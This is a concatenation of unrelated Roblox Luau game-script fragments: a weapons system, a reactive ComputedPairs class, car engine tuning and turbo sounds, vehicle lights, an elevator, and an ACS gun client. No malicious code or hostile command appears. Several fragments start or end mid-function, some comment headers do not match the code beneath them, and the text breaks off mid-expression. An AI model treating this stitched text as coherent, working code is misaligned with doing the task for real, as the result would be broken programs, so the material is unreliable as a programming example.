function Window:UpdateWindowHeight() -- ListContentSize.Y + Offset local windowHeight = Gui.UIListLayout.AbsoluteContentSize.Y + Gui.UIPadding.PaddingTop.Offset + Gui.UIPadding.PaddingBottom.Offset -- offsetY = clamp(windowHeight, 0, 300) Gui.Size = UDim2.new(Gui.Size.X.Scale, Gui.Size.X.Offset, 0, math.clamp(windowHeight, 0, WINDOW_MAX_HEIGHT)) Gui.CanvasPosition = Vector2.new(0, windowHeight) end
-- and (IsServer or weaponInstance:IsDescendantOf(Players.LocalPlayer))
function WeaponsSystem.onWeaponAdded(weaponInstance) local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance) if not weapon then WeaponsSystem.createWeaponForInstance(weaponInstance) end end function WeaponsSystem.onWeaponRemoved(weaponInstance) local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance) if weapon then weapon:onDestroyed() end WeaponsSystem.knownWeapons[weaponInstance] = nil end function WeaponsSystem.getRemoteEvent(name) if not WeaponsSystem.networkFolder then return end local remoteEvent = WeaponsSystem.remoteEvents[name] if IsServer then if not remoteEvent then warn("No RemoteEvent named ", name) return nil end return remoteEvent else if not remoteEvent then remoteEvent = WeaponsSystem.networkFolder:WaitForChild(name, math.huge) end return remoteEvent end end function WeaponsSystem.getRemoteFunction(name) if not WeaponsSystem.networkFolder then return end local remoteFunc = WeaponsSystem.remoteFunctions[name] if IsServer then if not remoteFunc then warn("No RemoteFunction named ", name) return nil end return remoteFunc else if not remoteFunc then remoteFunc = WeaponsSystem.networkFolder:WaitForChild(name, math.huge) end return remoteFunc end end function WeaponsSystem.setWeaponEquipped(weapon, equipped) assert(not IsServer, "WeaponsSystem.setWeaponEquipped should only be called on the client.") if not weapon then return end local lastWeapon = WeaponsSystem.currentWeapon local hasWeapon = false local weaponChanged = false if lastWeapon == weapon then if not equipped then WeaponsSystem.currentWeapon = nil hasWeapon = false weaponChanged = true else weaponChanged = false end else if equipped then WeaponsSystem.currentWeapon = weapon hasWeapon = true weaponChanged = true end end if WeaponsSystem.camera then WeaponsSystem.camera:setEnabled(equipped) WeaponsSystem.camera:resetZoomFactor() WeaponsSystem.camera:setHasScope(false) if WeaponsSystem.currentWeapon then WeaponsSystem.camera:setZoomFactor(WeaponsSystem.currentWeapon:getConfigValue("ZoomFactor", 1.1)) WeaponsSystem.camera:setHasScope(WeaponsSystem.currentWeapon:getConfigValue("HasScope", false)) end end if WeaponsSystem.gui then WeaponsSystem.gui:setEnabled(hasWeapon) if WeaponsSystem.currentWeapon then WeaponsSystem.gui:setCrosshairWeaponScale(WeaponsSystem.currentWeapon:getConfigValue("CrosshairScale", 1)) else WeaponsSystem.gui:setCrosshairWeaponScale(1) end end if weaponChanged then WeaponsSystem.CurrentWeaponChanged:Fire(weapon.instance, lastWeapon and lastWeapon.instance) end end function WeaponsSystem.getHumanoid(part) while part and part ~= workspace do if part:IsA("Model") and part.PrimaryPart and part.PrimaryPart.Name == "HumanoidRootPart" then return part:FindFirstChildOfClass("Humanoid") end part = part.Parent end end function WeaponsSystem.getPlayerFromHumanoid(humanoid) for _, player in ipairs(Players:GetPlayers()) do if player.Character and humanoid:IsDescendantOf(player.Character) then return player end end end local function _defaultDamageCallback(system, target, amount, damageType, dealer, hitInfo, damageData) if target:IsA("Humanoid") then target:TakeDamage(amount) end end function WeaponsSystem.doDamage(target, amount, damageType, dealer, hitInfo, damageData) if not target or ancestorHasTag(target, "WeaponsSystemIgnore") then return end if IsServer then if target:IsA("Humanoid") and dealer:IsA("Player") and dealer.Character then local dealerHumanoid = dealer.Character:FindFirstChildOfClass("Humanoid") local targetPlayer = Players:GetPlayerFromCharacter(target.Parent) if dealerHumanoid and target ~= dealerHumanoid and targetPlayer then -- Trigger the damage indicator WeaponData:FireClient(targetPlayer, "HitByOtherPlayer", dealer.Character.HumanoidRootPart.CFrame.Position) end end -- NOTE: damageData is a more or less free-form parameter that can be used for passing information from the code that is dealing damage about the cause. -- .The most obvious usage is extracting icons from the various weapon types (in which case a weapon instance would likely be passed in) -- ..The default weapons pass in that data local handler = _damageCallback or _defaultDamageCallback handler(WeaponsSystem, target, amount, damageType, dealer, hitInfo, damageData) end end local function _defaultGetTeamCallback(player) return 0 end function WeaponsSystem.getTeam(player) local handler = _getTeamCallback or _defaultGetTeamCallback return handler(player) end function WeaponsSystem.playersOnDifferentTeams(player1, player2) if player1 == player2 or player1 == nil or player2 == nil then -- This allows players to damage themselves and NPC's return true end local player1Team = WeaponsSystem.getTeam(player1) local player2Team = WeaponsSystem.getTeam(player2) return player1Team == 0 or player1Team ~= player2Team end return WeaponsSystem
--//pc
ui.InputBegan:Connect(function(iu) if iu.KeyCode == Enum.KeyCode.Tab then f:TweenPosition(UDim2.new(0.375, 0, 0.007, 0), "InOut", "Sine", 0.1) end end) ui.InputEnded:Connect(function(iu) f:TweenPosition(UDim2.new(0.375, 0, -1, 0), "InOut", "Sine", 0.1) end)
--[[ Called when the original table is changed. This will firstly find any keys meeting any of the following criteria: - they were not previously present - their associated value has changed - a dependency used during generation of this value has changed It will recalculate those key/value pairs, storing information about any dependencies used in the processor callback during value generation, and save the new value to the output array. If it is overwriting an older value, that older value will be passed to the destructor for cleanup. Finally, this function will find keys that are no longer present, and remove their values from the output table and pass them to the destructor. ]]
function class:update(): boolean local inputIsState = self._inputIsState local oldInput = self._oldInputTable local newInput = self._inputTable local oldOutput = self._oldOutputTable local newOutput = self._outputTable if inputIsState then newInput = newInput:get(false) end local didChange = false -- clean out main dependency set for dependency in pairs(self.dependencySet) do dependency.dependentSet[self] = nil end self._oldDependencySet, self.dependencySet = self.dependencySet, self._oldDependencySet table.clear(self.dependencySet) -- if the input table is a state object, add as dependency if inputIsState then self._inputTable.dependentSet[self] = true self.dependencySet[self._inputTable] = true end -- STEP 1: find keys that changed value or were not previously present for key, newInValue in pairs(newInput) do -- get or create key data local keyData = self._keyData[key] if keyData == nil then keyData = { -- we don't need strong references here - the main set does that -- for us, so let's not introduce unnecessary leak opportunities dependencySet = setmetatable({}, WEAK_KEYS_METATABLE), oldDependencySet = setmetatable({}, WEAK_KEYS_METATABLE), dependencyValues = setmetatable({}, WEAK_KEYS_METATABLE) } self._keyData[key] = keyData end -- if this value is either new or different, we should recalculate it local shouldRecalculate = oldInput[key] ~= newInValue if not shouldRecalculate then -- check if dependencies have changed for dependency, oldValue in pairs(keyData.dependencyValues) do -- if the dependency changed value, then this needs recalculating if oldValue ~= dependency:get(false) then shouldRecalculate = true break end end end -- if we should recalculate the value by this point, do that if shouldRecalculate then keyData.oldDependencySet, keyData.dependencySet = keyData.dependencySet, keyData.oldDependencySet table.clear(keyData.dependencySet) local oldOutValue = oldOutput[key] local processOK, newOutValue = captureDependencies(keyData.dependencySet, self._processor, key, newInValue) if processOK then -- if the calculated value has changed if oldOutValue ~= newOutValue then didChange = true -- clean up the old calculated value if oldOutValue ~= nil then local destructOK, err = xpcall(self._destructor, parseError, oldOutValue) if not destructOK then logErrorNonFatal("pairsDestructorError", err) end end end -- make the old input match the new input oldInput[key] = newInValue -- store the new output value for next time we run the output comparison oldOutput[key] = newOutValue -- store the new output value in the table we give to the user newOutput[key] = newOutValue else -- restore old dependencies, because the new dependencies may be corrupt keyData.oldDependencySet, keyData.dependencySet = keyData.dependencySet, keyData.oldDependencySet logErrorNonFatal("pairsProcessorError", newOutValue) end end -- save dependency values and add to main dependency set for dependency in pairs(keyData.dependencySet) do keyData.dependencyValues[dependency] = dependency:get(false) self.dependencySet[dependency] = true dependency.dependentSet[self] = true end end -- STEP 2: find keys that were removed for key in pairs(oldInput) do -- if this key doesn't have an equivalent in the new input table if newInput[key] == nil then -- clean up the old calculated value local oldOutValue = oldOutput[key] if oldOutValue ~= nil then local destructOK, err = xpcall(self._destructor, parseError, oldOutValue) if not destructOK then logErrorNonFatal("pairsDestructorError", err) end end -- make the old input match the new input oldInput[key] = nil -- remove the reference to the old output value oldOutput[key] = nil -- remove the value from the table we give to the user newOutput[key] = nil -- remove key data self._keyData[key] = nil end end return didChange end local function ComputedPairs<K, VI, VO>( inputTable: PubTypes.CanBeState<{[K]: VI}>, processor: (K, VI) -> VO, destructor: (VO) -> ()? ): Types.ComputedPairs<K, VI, VO> -- if destructor function is not defined, use the default cleanup function if destructor == nil then destructor = (cleanup) :: (VO) -> () end local inputIsState = inputTable.type == "State" and typeof(inputTable.get) == "function" local self = setmetatable({ type = "State", kind = "ComputedPairs", dependencySet = {}, -- if we held strong references to the dependents, then they wouldn't be -- able to get garbage collected when they fall out of scope dependentSet = setmetatable({}, WEAK_KEYS_METATABLE), _oldDependencySet = {}, _processor = processor, _destructor = destructor, _inputIsState = inputIsState, _inputTable = inputTable, _oldInputTable = {}, _outputTable = {}, _oldOutputTable = {}, _keyData = {} }, CLASS_METATABLE) initDependency(self) self:update() return self end return ComputedPairs
-- Small bug fix where the sound would start playing after the player joined
player.CharacterAdded:Connect(function() task.wait(1) if currentSound.IsPlaying then currentSound:Stop() end end) print("Walking sounds successfully loaded!")
-- Testing AC FE support
local event = script.Parent local car=script.Parent.Parent local LichtNum = 0 event.OnServerEvent:connect(function(player,data) if data['ToggleLight'] then if car.Body.Light.on.Value==true then car.Body.Light.on.Value=false else car.Body.Light.on.Value=true end elseif data['EnableBrakes'] then car.Body.Brakes.on.Value=true elseif data['DisableBrakes'] then car.Body.Brakes.on.Value=false elseif data['ToggleLeftBlink'] then if car.Body.Left.on.Value==true or car.Body.Right.on.Value==true then car.Body.Left.on.Value=false car.Body.Right.on.Value=false else car.Body.Left.on.Value=true end elseif data['ToggleRightBlink'] then if car.Body.Right.on.Value==true or car.Body.Left.on.Value==true then car.Body.Right.on.Value=false car.Body.Left.on.Value=false else car.Body.Right.on.Value=true end elseif data['ReverseOn'] then car.Body.Reverse.on.Value=true elseif data['ReverseOff'] then car.Body.Reverse.on.Value=false elseif data['ToggleStandlicht'] then if LichtNum == 0 then LichtNum = 1 car.Body.Headlight.on.Value = true elseif LichtNum == 1 then LichtNum = 2 car.Body.Highlight.on.Value = true else LichtNum = 0 car.Body.Headlight.on.Value = false car.Body.Highlight.on.Value = false end elseif data["ToggleHazards"] then if car.Body.Left.on.Value == true or car.Body.Right.on.Value==true then car.Body.Left.on.Value=false car.Body.Right.on.Value=false else car.Body.Left.on.Value=true car.Body.Right.on.Value=true end end end)
-- Local player
local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:wait() local PlayerGui = player:WaitForChild("PlayerGui")
--[[Engine]]
-- [TORQUE CURVE VISUAL] -- https://www.desmos.com/calculator/nap6stpjqf -- Use sliders to manipulate values -- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo. Tune.Horsepower = 278 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 3000 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 9000 -- Use sliders to manipulate values Tune.Redline = 10000 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 Tune.InclineComp = 1.2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Turbo Settings Tune.Aspiration = "Natural" --[[ [Aspiration] "Natural" : N/A, Naturally aspirated engine "Single" : Single turbocharger "Double" : Twin turbocharger "Super" : Supercharger ]] Tune.Boost = 5 --Max PSI (If you have two turbos and this is 15, the PSI will be 30) Tune.TurboSize = 80 --Turbo size; the bigger it is, the more lag it has. Tune.CompressRatio = 9 --The compression ratio (look it up) Tune.Sensitivity = 0.05 --How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1) --Misc Tune.RevAccel = 300 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 250 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
--[[ Fired when state is left ]]
function Transitions.onLeaveSpectating(stateMachine, event, from, to, playerComponent) PlayerSpectating.leave(stateMachine, playerComponent) end
--[[ ___ _______ _ _______ / _ |____/ ___/ / ___ ____ ___ (_)__ /__ __/ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< / / /_/ |_| \___/_//_/\_,_/___/___/_/___/ /_/ SecondLogic @ Inspare Avxnturador @ Novena ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_Sounds") local _Tune = require(car["A-Chassis Tune"]) local BOVact = 0 local BOVact2 = 0 local BOV_Loudness = 5 --volume of the BOV (not exact volume so you kinda have to experiment with it) local BOV_Pitch = 0.9 --max pitch of the BOV (not exact so might have to mess with it) local TurboLoudness = 3 --volume of the Turbo (not exact volume so you kinda have to experiment with it also) script:WaitForChild("Whistle") script:WaitForChild("BOV") for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end end end) handler:FireServer("newSound","Whistle",car.DriveSeat,script.Whistle.SoundId,0,script.Whistle.Volume,true) handler:FireServer("newSound","BOV",car.DriveSeat,script.BOV.SoundId,0,script.BOV.Volume,true) handler:FireServer("playSound","Whistle") car.DriveSeat:WaitForChild("Whistle") car.DriveSeat:WaitForChild("BOV") local ticc = tick() local _TCount = 0 if _Tune.Aspiration == "Single" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end while wait() do local psi = (((script.Parent.Values.Boost.Value)/(_Tune.Boost*_TCount))*2) BOVact = math.floor(psi*20) WP = (psi) WV = (psi/4)*TurboLoudness BP = (1-(-psi/20))*BOV_Pitch BV = (((-0.5+((psi/2)*BOV_Loudness)))*(1 - script.Parent.Values.Throttle.Value)) if BOVact < BOVact2 then if car.DriveSeat.BOV.IsPaused then if FE then handler:FireServer("playSound","BOV") else car.DriveSeat.BOV:Play() end end end if BOVact >= BOVact2 then if FE then handler:FireServer("stopSound","BOV") else car.DriveSeat.BOV:Stop() end end if FE then handler:FireServer("updateSound","Whistle",script.Whistle.SoundId,WP,WV) handler:FireServer("updateSound","BOV",script.BOV.SoundId,BP,BV) else car.DriveSeat.Whistle.Pitch = WP car.DriveSeat.Whistle.Volume = WV car.DriveSeat.BOV.Pitch = BP car.DriveSeat.BOV.Volume = BV end if (tick()-ticc) >= 0.1 then BOVact2 = math.floor(psi*20) ticc = tick() end end
--!strict --[=[ @function insert @within Array @param array {T} -- The array to insert the value into. @param index number -- The index to insert the value at (can be negative). @param values ...T -- The values to insert. @return {T} -- The array with the value inserted. Inserts the given values into an array at the given index, shifting all values after it to the right. If the index is negative (or 0), it is counted from the end of the array. If the index to insert at is out of range, the array is not modified. ```lua local array = { 1, 2, 3 } local newArray = Insert(array, 2, 4) -- { 1, 4, 2, 3 } ``` ]=]
local function insert<T>(array: { T }, index: number, ...: T): { T } local length = #array if index < 1 then index += length + 1 end if index > length then if index > length + 1 then return array end index = length + 1 length += 1 end local result = {} for i = 1, length do if i == index then for _, value in ipairs({ ... }) do table.insert(result, value) end end table.insert(result, array[i]) end return result end return insert
--// Bullet Physics
BulletPhysics = Vector3.new(-10,55,0); -- Drop fixation: Lower number = more drop BulletSpeed = 2725; -- Bullet Speed BulletSpread = 1; -- How much spread the bullet has ExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds ExploSpeed = 600; -- Speed for explosive rounds BulletDecay = 10000; -- How far the bullet travels before slowing down and being deleted (BUGGY)
--// Events
local L_105_ = L_20_:WaitForChild('Equipped') local L_106_ = L_20_:WaitForChild('ShootEvent') local L_107_ = L_20_:WaitForChild('DamageEvent') local L_108_ = L_20_:WaitForChild('CreateOwner') local L_109_ = L_20_:WaitForChild('Stance') local L_110_ = L_20_:WaitForChild('HitEvent') local L_111_ = L_20_:WaitForChild('KillEvent') local L_112_ = L_20_:WaitForChild('AimEvent') local L_113_ = L_20_:WaitForChild('ExploEvent') local L_114_ = L_20_:WaitForChild('AttachEvent') local L_115_ = L_20_:WaitForChild('ServerFXEvent') local L_116_ = L_20_:WaitForChild('ChangeIDEvent')
-- -1 = Closed -- 0 = Active -- 1 = Open
function getItems() for _,v in pairs(script.Parent:GetChildren()) do if ((v:IsA("BasePart")) and (v.Name == "Bar")) then table.insert(_items,v) end end end function main() local d = door door = 0 script.Parent.Button.BrickColor = BrickColor.new("New Yeller") for i = 0,5,0.05 do for _,v in pairs(_items) do v.CFrame = v.CFrame * CFrame.new((0.20*(-d)),0,0) end wait() end if (d == (-1)) then script.Parent.Button.BrickColor = BrickColor.new("Really red") elseif (d == 1) then script.Parent.Button.BrickColor = BrickColor.new("Bright green") end door = d end script.Parent.Button.Click.MouseClick:connect(function() if (door == 0) then return end door = (door*(-1)) main() end) getItems()
--FasCast Setup--
if workspace:FindFirstChild("IgnoreFolder") == nil then local IgnoreList = Instance.new("Folder",workspace) IgnoreList.Name = "IgnoreFolder" end local FastCast = require(script:WaitForChild("FastCastRedux")) local Params = RaycastParams.new() Params.FilterType = Enum.RaycastFilterType.Blacklist -- just the type of filter Params.FilterDescendantsInstances = {workspace.IgnoreFolder,marine} -- you can add more things to this list btw
-- Convenience function so that calling code does not have to first get the activeController -- and then call GetMoveVector on it. When there is no active controller, this function returns the -- zero vector
function ControlModule:GetMoveVector(): Vector3 if self.activeController then return self.activeController:GetMoveVector() end return Vector3.new(0,0,0) end function ControlModule:GetActiveController() return self.activeController end function ControlModule:EnableActiveControlModule() if self.activeControlModule == ClickToMove then -- For ClickToMove, when it is the player's choice, we also enable the full keyboard controls. -- When the developer is forcing click to move, the most keyboard controls (WASD) are not available, only jump. self.activeController:Enable( true, Players.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.UserChoice, self.touchJumpController ) elseif self.touchControlFrame then self.activeController:Enable(true, self.touchControlFrame) else self.activeController:Enable(true) end end function ControlModule:Enable(enable: boolean?) if not self.activeController then return end if enable == nil then enable = true end if enable then self:EnableActiveControlModule() else self:Disable() end end
--nothing
else script.Parent.Parent.Parent.Torso.Cable:remove() script.Parent.Parent.Parent.Torso.Snap:play() script.Parent.Parent.Parent.Torso.Snap:remove() script.Parent.Parent.Parent.Humanoid.WalkSpeed = script.Parent.WS.Value script.Parent.Parent:remove() end end connection = script.Parent.Parent.Touched:connect(onTouched)
-------------------------
function DoorClose() if Shaft00.MetalDoor.CanCollide == false then Shaft00.MetalDoor.CanCollide = true while Shaft00.MetalDoor.Transparency > 0.0 do Shaft00.MetalDoor.Transparency = Shaft00.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) --Change 10 to change the speed. end if Shaft01.MetalDoor.CanCollide == false then Shaft01.MetalDoor.CanCollide = true while Shaft01.MetalDoor.Transparency > 0.0 do Shaft01.MetalDoor.Transparency = Shaft01.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft02.MetalDoor.CanCollide == false then Shaft02.MetalDoor.CanCollide = true while Shaft02.MetalDoor.Transparency > 0.0 do Shaft02.MetalDoor.Transparency = Shaft02.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft03.MetalDoor.CanCollide == false then Shaft03.MetalDoor.CanCollide = true while Shaft03.MetalDoor.Transparency > 0.0 do Shaft03.MetalDoor.Transparency = Shaft03.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft04.MetalDoor.CanCollide == false then Shaft04.MetalDoor.CanCollide = true while Shaft04.MetalDoor.Transparency > 0.0 do Shaft04.MetalDoor.Transparency = Shaft04.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft05.MetalDoor.CanCollide == false then Shaft05.MetalDoor.CanCollide = true while Shaft05.MetalDoor.Transparency > 0.0 do Shaft05.MetalDoor.Transparency = Shaft05.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft06.MetalDoor.CanCollide == false then Shaft06.MetalDoor.CanCollide = true while Shaft06.MetalDoor.Transparency > 0.0 do Shaft06.MetalDoor.Transparency = Shaft06.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft07.MetalDoor.CanCollide == false then Shaft07.MetalDoor.CanCollide = true while Shaft07.MetalDoor.Transparency > 0.0 do Shaft07.MetalDoor.Transparency = Shaft07.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft08.MetalDoor.CanCollide == false then Shaft08.MetalDoor.CanCollide = true while Shaft08.MetalDoor.Transparency > 0.0 do Shaft08.MetalDoor.Transparency = Shaft08.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft09.MetalDoor.CanCollide == false then Shaft09.MetalDoor.CanCollide = true while Shaft09.MetalDoor.Transparency > 0.0 do Shaft09.MetalDoor.Transparency = Shaft09.MetalDoor.Transparency - .1 wait(0.000001) end end if Shaft10.MetalDoor.CanCollide == false then Shaft10.MetalDoor.CanCollide = true while Shaft10.MetalDoor.Transparency > 0.0 do Shaft10.MetalDoor.Transparency = Shaft10.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft11.MetalDoor.CanCollide == false then Shaft11.MetalDoor.CanCollide = true while Shaft11.MetalDoor.Transparency > 0.0 do Shaft11.MetalDoor.Transparency = Shaft11.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft12.MetalDoor.CanCollide == false then Shaft12.MetalDoor.CanCollide = true while Shaft12.MetalDoor.Transparency > 0.0 do Shaft12.MetalDoor.Transparency = Shaft12.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft13.MetalDoor.CanCollide == false then Shaft13.MetalDoor.CanCollide = true while Shaft13.MetalDoor.Transparency > 0.0 do Shaft13.MetalDoor.Transparency = Shaft13.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end end function onClicked() DoorClose() end script.Parent.MouseButton1Click:connect(onClicked) script.Parent.MouseButton1Click:connect(function() if clicker == true then clicker = false else return end end) script.Parent.MouseButton1Click:connect(function() Car.Touched:connect(function(otherPart) if otherPart == Elevator.Floors.F10 then StopE() DoorOpen() end end)end) function StopE() Car.BodyVelocity.velocity = Vector3.new(0, 0, 0) Car.BodyPosition.position = Elevator.Floors.F10.Position clicker = true end function DoorOpen() while Shaft09.MetalDoor.Transparency < 1.0 do Shaft09.MetalDoor.Transparency = Shaft09.MetalDoor.Transparency + .1 wait(0.000001) end Shaft09.MetalDoor.CanCollide = false end
--스킬 설정:
local skillName = "Meteor" --스킬 파트 이름 local Sound = "Meteor" --적용할 사운드 이름 (추천) local Sound2 = "Bomb" --적용할 사운드 이름 (추천) local CoolTime = 5 --스킬 재사용 대기시간 local Damage = 20 --스킬 데미지 local DamageCoolTime = 3 --스킬 데미지 쿨타임 (추천)
-- Draw world
runService.Stepped:Connect(function() if toggle then SetPos() end end) game.Players.PlayerAdded:Connect(function(plr) plr.CharacterAdded:Connect(function(char) wait(0.1) char:SetPrimaryPartCFrame(CFrame.new(0, 100, 0) * CFrame.Angles(0, 0, 0)) end) end)
--local camera = game.Workspace.CurrentCamera
local player = game.Players.LocalPlayer local character = player.Character local humanoidRootPart = character.HumanoidRootPart local car = script:WaitForChild("Car").Value local stats = car:WaitForChild("Configurations") local Raycast = require(car.CarScript.RaycastModule)
--[=[ Transforms the brio into an observable that emits the initial value of the brio, and then another value on death @param brio Brio<T> | T @param emitOnDeathValue U @return Observable<T | U> ]=]
function RxBrioUtils.toEmitOnDeathObservable(brio, emitOnDeathValue) if not Brio.isBrio(brio) then return Rx.of(brio) else return Observable.new(function(sub) if brio:IsDead() then sub:Fire(emitOnDeathValue) sub:Complete() else sub:Fire(brio:GetValue()) -- Firing killed the subscription if not sub:IsPending() then return end -- Firing this event actually killed the brio if brio:IsDead() then sub:Fire(emitOnDeathValue) sub:Complete() else return brio:GetDiedSignal():Connect(function() sub:Fire(emitOnDeathValue) sub:Complete() end) end end end) end end
-- Key that user can press to interact with game
local KEY1 if not IS_CONSOLE then KEY1 = Enum.KeyCode.E else KEY1 = Enum.KeyCode.ButtonX end
--------| Variables |--------
local escapemap = {} local dictionary, length = {}, 0 local inited = false
----------//Gun System\\----------
local L_199_ = nil char.ChildAdded:connect(function(Tool) if Tool:IsA("Tool") and not Tool:FindFirstChild("ACS_Settings") then PreviousTool = nil canDrop = false end if Tool:IsA('Tool') and Humanoid.Health > 0 and not ToolEquip and Tool:FindFirstChild("ACS_Settings") ~= nil and (require(Tool.ACS_Settings).Type == 'Gun' or require(Tool.ACS_Settings).Type == 'Melee' or require(Tool.ACS_Settings).Type == 'Grenade') then local L_370_ = true if char:WaitForChild("Humanoid").Sit then if char.Humanoid.SeatPart:IsA("VehicleSeat") and not gameRules.EquipInVehicleSeat then L_370_ = false elseif char.Humanoid.SeatPart:IsA("Seat") and not gameRules.EquipInSeat then L_370_ = false end end if L_370_ then L_199_ = Tool if not ToolEquip then --pcall(function() setup(Tool) --end) elseif ToolEquip then pcall(function() unset() setup(Tool) end) end; end; end end) char.ChildRemoved:connect(function(Tool) if Tool == WeaponTool then if ToolEquip then unset() end end end) Humanoid.Running:Connect(function(speed) charspeed = speed if speed > 0.1 then running = true else running = false end end) Humanoid.Swimming:Connect(function(speed) if Swimming then charspeed = speed if speed > 0.1 then running = true else running = false end end end) Humanoid.Died:Connect(function(speed) TS:Create(char.Humanoid, TweenInfo.new(1), {CameraOffset = Vector3.new(0,0,0)} ):Play() ChangeStance = false Stand() Stances = 0 Virar = 0 CameraX = 0 CameraY = 0 Lean() Equipped = 0 unset() Evt.NVG:Fire(false) end) Humanoid.Seated:Connect(function(IsSeated, Seat) if IsSeated and Seat and (Seat:IsA("VehicleSeat") or Seat:IsA("Seat")) then if not gameRules.EquipInVehicleSeat then unset() Humanoid:UnequipTools() end CanLean = false plr.CameraMaxZoomDistance = gameRules.VehicleMaxZoom if gameRules.DisableInSeat then UnBindActions() end else if gameRules.DisableInSeat then BindActions() end Proned = false Crouched = false plr.CameraMaxZoomDistance = game.StarterPlayer.CameraMaxZoomDistance end if IsSeated then Sentado = true Stances = 0 Virar = 0 CameraX = 0 CameraY = 0 Stand() Lean() else Sentado = false CanLean = true end end) Humanoid.Changed:connect(function(Property) if not gameRules.AntiBunnyHop then return; end; if Property == "Jump" and Humanoid.Sit == true and Humanoid.SeatPart ~= nil then Humanoid.Sit = false elseif Property == "Jump" and Humanoid.Sit == false then if JumpDelay then Humanoid.Jump = false return false end JumpDelay = true delay(0, function() wait(gameRules.JumpCoolDown) JumpDelay = false end) end end) Humanoid.StateChanged:connect(function(Old,state) if state == Enum.HumanoidStateType.Swimming then Swimming = true Stances = 0 Virar = 0 CameraX = 0 CameraY = 0 Stand() Lean() else Swimming = false end if gameRules.EnableFallDamage then if state == Enum.HumanoidStateType.Freefall and not falling then falling = true local curVel = 0 local peak = 0 while falling do curVel = HumanoidRootPart.Velocity.magnitude peak = peak + 1 Thread:Wait() end local damage = (curVel - (gameRules.MaxVelocity)) * gameRules.DamageMult if damage > 5 and peak > 20 then local SKP_02 = SKP_01.."-"..plr.UserId cameraspring:accelerate(Vector3.new(-damage/20, 0, math.random(-damage, damage)/5)) SwaySpring:accelerate(Vector3.new( math.random(-damage, damage)/5, damage/5,0)) local hurtSound = PastaFx.FallDamage:Clone() hurtSound.Parent = plr.PlayerGui hurtSound.Volume = damage/Humanoid.MaxHealth hurtSound:Play() Debris:AddItem(hurtSound,hurtSound.TimeLength) Evt.Damage:InvokeServer(nil, nil, nil, nil, nil, nil, true, damage, SKP_02) end elseif state == Enum.HumanoidStateType.Landed or state == Enum.HumanoidStateType.Dead then falling = false SwaySpring:accelerate(Vector3.new(0, 2.5, 0)) end end end) mouse.WheelBackward:Connect(function() -- fires when the wheel goes forwards if ToolEquip and not CheckingMag and not aimming and not reloading and not runKeyDown and AnimDebounce and WeaponData.Type == "Gun" then mouse1down = false if GunStance == 0 then SafeMode = true GunStance = -1 UpdateGui() Evt.GunStance:FireServer(GunStance,AnimData) LowReady() elseif GunStance == -1 then SafeMode = true GunStance = -2 UpdateGui() Evt.GunStance:FireServer(GunStance,AnimData) Patrol() elseif GunStance == 1 then SafeMode = false GunStance = 0 UpdateGui() Evt.GunStance:FireServer(GunStance,AnimData) IdleAnim() end end if ToolEquip and aimming and Sens > 5 then Sens = Sens - 5 UpdateGui() game:GetService('UserInputService').MouseDeltaSensitivity = (Sens/100) end end) mouse.WheelForward:Connect(function() -- fires when the wheel goes backwards if ToolEquip and not CheckingMag and not aimming and not reloading and not runKeyDown and AnimDebounce and WeaponData.Type == "Gun" then mouse1down = false if GunStance == 0 then SafeMode = true GunStance = 1 UpdateGui() Evt.GunStance:FireServer(GunStance,AnimData) HighReady() elseif GunStance == -1 then SafeMode = false GunStance = 0 UpdateGui() Evt.GunStance:FireServer(GunStance,AnimData) IdleAnim() elseif GunStance == -2 then SafeMode = true GunStance = -1 UpdateGui() Evt.GunStance:FireServer(GunStance,AnimData) LowReady() end end if ToolEquip and aimming and Sens < 